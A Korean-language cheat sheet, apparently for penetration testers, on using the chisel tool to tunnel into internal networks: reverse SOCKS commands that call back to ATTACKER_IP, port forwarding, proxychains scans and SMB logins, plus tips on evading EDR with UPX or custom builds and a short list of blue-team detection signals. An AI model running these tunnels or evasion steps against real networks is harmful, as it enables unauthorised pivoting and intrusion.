ATT&CK: T1572 Protocol Tunneling, T1090 Proxy · Command and Control (TA0011)
chisel은 단일 바이너리로 서버+클라이언트를 겸하고, 모든 터널 트래픽을 HTTP(S) WebSocket 위에 올린다. 프록시 통과·방화벽 통과가 쉽고, SOCKS5가 내장돼서 내부망 pivot 구성이 극단적으로 간단.
1. 아키텍처
[공격자/pentester] --- HTTPS (443) ---> [피벗 호스트] --- 내부 TCP ---> [내부 리소스]
chisel client chisel server
- 터널은 HTTP/WebSocket으로 보임.
- 피벗 쪽만 chisel 바이너리 하나 떨어뜨리면 됨.
2. 설치
# 공격자/피벗 양측 모두
curl -L https://github.com/jpillora/chisel/releases/latest/download/chisel_<ver>_linux_amd64.gz | gunzip > chisel
chmod +x chisel
Go 바이너리라 Windows/Linux/macOS/ARM 모두 지원.
3. 가장 흔한 패턴 — 피벗 호스트에서 reverse SOCKS
3.1 공격자 측 (서버)
./chisel server --port 8443 --reverse --socks5
--reverse: 클라이언트가 역방향으로 터널 요청 가능.--socks5: SOCKS5 지원 자동 포함.- 운영 환경에서는
--tls-key / --tls-cert로 TLS 추가.
3.2 피벗 호스트 (클라이언트)
./chisel client http://ATTACKER_IP:8443 R:1080:socks
R:: reverse 터널.1080:socks: 공격자 측의 1080 포트를 피벗 호스트의 SOCKS5 서버에 연결.
3.3 공격자 측에서 사용
# proxychains 설정 (/etc/proxychains4.conf 끝)
socks5 127.0.0.1 1080
# 이제 모든 TCP 트래픽이 피벗 호스트를 경유
proxychains4 nmap -sT -Pn 10.0.0.0/24
proxychains4 nxc smb 10.0.0.5 -u alice -p 'Pw'
SOCKS5라 UDP는 지원 안 됨 — DNS는 터널 안으로 안 들어감. nmap -sT 강제 필수, DNS 질의는 수동 처리.
4. 포트 포워딩 변형
4.1 Local port forwarding
내 머신 포트 → 피벗 호스트가 접근 가능한 내부 리소스:
./chisel client http://ATTACKER_IP:8443 R:3306:10.0.0.5:3306
- 피벗이 공격자 측 3306 포트를 10.0.0.5:3306으로 전달.
4.2 Forward (정상 방향)
반대로 공격자 쪽에 노출된 서비스를 내부에서 접근하게 할 때 (실전에선 덜 쓰임):
# 서버: 공격자가 아니라 피벗이 서버 역할
./chisel server --port 8443
# 클라이언트: 내부에서
./chisel client http://PIVOT:8443 9000:ATTACKER_IP:9000
5. 인증
# 서버
./chisel server --port 8443 --reverse --auth 'user:pass' --socks5
# 클라이언트
./chisel client --auth 'user:pass' http://... R:1080:socks
반드시 설정. 안 걸면 아무나 터널 세션 열 수 있음.
6. TLS
./chisel server --port 8443 --reverse \
--tls-key /etc/letsencrypt/live/me/privkey.pem \
--tls-cert /etc/letsencrypt/live/me/fullchain.pem
클라이언트는 https://... 로 접속. 네트워크 레벨 패킷은 평범한 HTTPS WebSocket.
7. 유사 도구와의 차이
| 도구 | 특징 |
|---|---|
| chisel | HTTP(S) 위, SOCKS 내장, 단일 바이너리 |
| ligolo-ng | TUN 인터페이스 생성 → 라우팅 테이블 레벨 pivot (UDP/ICMP 지원) |
| sshuttle | SSH 세션 기반 — SSH만 열려있으면 됨 |
| ssh -D | SSH 네이티브 SOCKS, 설정 간단 |
ligolo-ng vs chisel: ligolo는 TUN 어댑터를 띄워 “내부망 라우팅"을 OS 레벨로 처리 → UDP·ICMP도 됨, 하지만 공격자 측 root 필요. chisel은 SOCKS5라 TCP만 지원하지만 설정이 더 간단.
8. OPSEC
- 피벗 호스트에 바이너리 하나 떨어짐 → EDR이 chisel 시그니처로 쉽게 탐지. UPX·커스텀 빌드로 흔적 변경 가능.
- WebSocket 트래픽이 장시간 연결 유지 → NDR 룰로 특이 패턴 감지됨 (일반 HTTP는 짧은 세션 반복이 보통).
- 443으로 외부로 나가는 egress는 거의 모든 환경에서 열려있어서 채널 확보는 쉬움. 그 뒤의 세션 지문 숨기기가 어려움.
9. 블루팀 신호
- Zeek
conn.log에서 비정상적으로 긴 duration + 많은 bytes_received HTTP 세션. - 알려진 chisel 바이너리 해시 (VT로 거의 다 올라가 있음).
- 네트워크 세분화(micro-segmentation)로 피벗 가능 범위 축소가 근본 완화.
참고
- jpillora/chisel
- MITRE ATT&CK — T1572, T1090